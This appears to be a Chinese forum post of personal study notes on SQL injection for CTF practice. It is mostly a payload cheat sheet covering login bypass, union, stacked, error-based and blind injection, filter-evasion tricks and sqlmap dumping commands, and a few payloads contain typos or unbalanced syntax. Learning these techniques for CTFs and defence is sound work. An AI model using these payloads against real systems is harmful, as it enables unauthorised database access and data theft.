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[原创]sql注入学习笔记
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2022-7-14 13:04
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首先来了解一下在CTF中最为常见的sql查询语句
1 | select * from users where username='$username' and password='$password'; |
这个语句的意图也非常明显，查询users数据表中的所有字段，看能否找到用户输入的用户名和对应的密码。
利用点也很明确，通过闭合单引号在该查询语句的基础上添加我们想要的查询语句（此即为sql注入）
下面对CTF中出现的一些常见考点做一个简单的梳理和总结
万能密码（以上面这条查询语句为例）
1 2 | 'or 1=1#username=admin\&password=or 1;# //通过斜杠转义单引号 |
联合注入
有无回显测试
1 2 | ?id=-1'order by 1%23 //使用order by主要用于确定字段数?id=1'union select 1,2,3%23 |
有回显注入
分为数字型，字符型
利用select查询
(以字符型注入为例)
查询sql版本
1 | ?id=-1'union select 1,version(),3%23 |
查询数据库名(把database放在回显点上)：
1 | ?id=-1'union select 1,database(),3%23 |
查询数据表名：
1 | ?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 |
查询字段名：
1 | ?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23 |
查询结果：
1 | ?id=-1' union select (字段名),2 from 表名 %23 |
堆叠查询
查询数据库：
1 | 1';show databases;%23 |
查询数据表：
1 | 1';show tables;%23 |
查询字段名（如果数据表名是数字形式，使用反引号）：
1 | 1';show columns from (数据表名);%23 |
堆叠查询没有直接读取字段值的方法，但是有时候可以通过
预处理
运用handler命令:
1 | 1';handler (数据表) open;handler （数据表） read first;handler （数据表） close;%23 |
运用rename命令:
1 | 1';rename tables `(默认表)` to `（新表）`;rename tables `（待查询的表）` to `（默认表）`; alter table `（默认表）` change `（待查询字段）` `（默认字段）` varchar(100);23 |
报错注入
基于extractvalue()的payload：
查询数据库:
1 | id=a'and extractvalue(1,concat(0x7e,select(database())))%23 |
查询数据表:
1 | id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23 |
查询字段:
1 | id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23 |
查询字段值(字段名和数据表名不需要单引号)：
1 | id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23 |
可用updatexml():
查询数据库名:
1 | id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 |
无回显注入
布尔盲注
1 | id=1' and length(database())<5 %23 |
1 | ?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23 |
时间盲注
基于and的盲注payload：
1 | 1' and 表达式 and sleep(5)%23 |
基于if的盲注payload：
1 | if(ascii(substr(database(),1),1))=97,sleep(5),1) |
bypass
大小写绕过
当正则匹配的黑名单修饰符没有i时
各种字符绕过
空格：
1 | /**/ /*!*/ /*1*/ () |
字符串截取函数：
1 | substr substring mid left right |
等于号：
1 | in regexp like |
与:
1 | and && |
或：
1 | or || |
limit:
1 | offset |
大于，小于号(greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值):
1 | greatest |
截断符
1 | # %23 %00 -- |
select绕过
预处理绕过
1 | 1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext; |
基于mysql8的新特性
table在某些情况下可以代替select
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
但值得注意的是，table在查询时，返回值为元组
注入payload：
1 | (1,0x21,0x21)<(table users limit 1) |
以上是对于mysql的注入
当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同，值得注意的是一下几个区别
1.sqlite中查询版本号的函数时sqlite_version()
2.在sqlite中有一张叫sqlite_master的表，类似于mysql中的information.schema,用于存放数据表名，字段名等信息
1 | union select 1,2,name from sqlite_master where type='table' and name='(数据表)' |
3.在sqlite中并不支持#这个注释符，但可以用--等DDl中的注释符
sqlmap的使用
虽然学会手注很重要，但是最方便的还是直接用sqlmap辣，一般在题目黑名单限制不多，形态比较常规的时候，可以直接扫到。
一键开扫：
1 | python3 sqlmap.py -u http://ip:port |
post型注入（抓包）：
1 | python3 sqlmap.py -r request.txt -p (注入点) |
获取数据库名：
1 | python3 sqlmap.py -u http://ip:port --dbs |
获取数据表名：
1 | python3 sqlmap.py -u http://ip:port -D 数据库 --tables |
获取字段名：
1 | python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 --columns |
获取字段值：
1 | python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 -C 字段名 --dump |
以上就是俺在学习sql注入过程中做的一个小小的汇总
如有错误，写的不好的或需要补充的地方，希望路过的大佬们能不吝赐教
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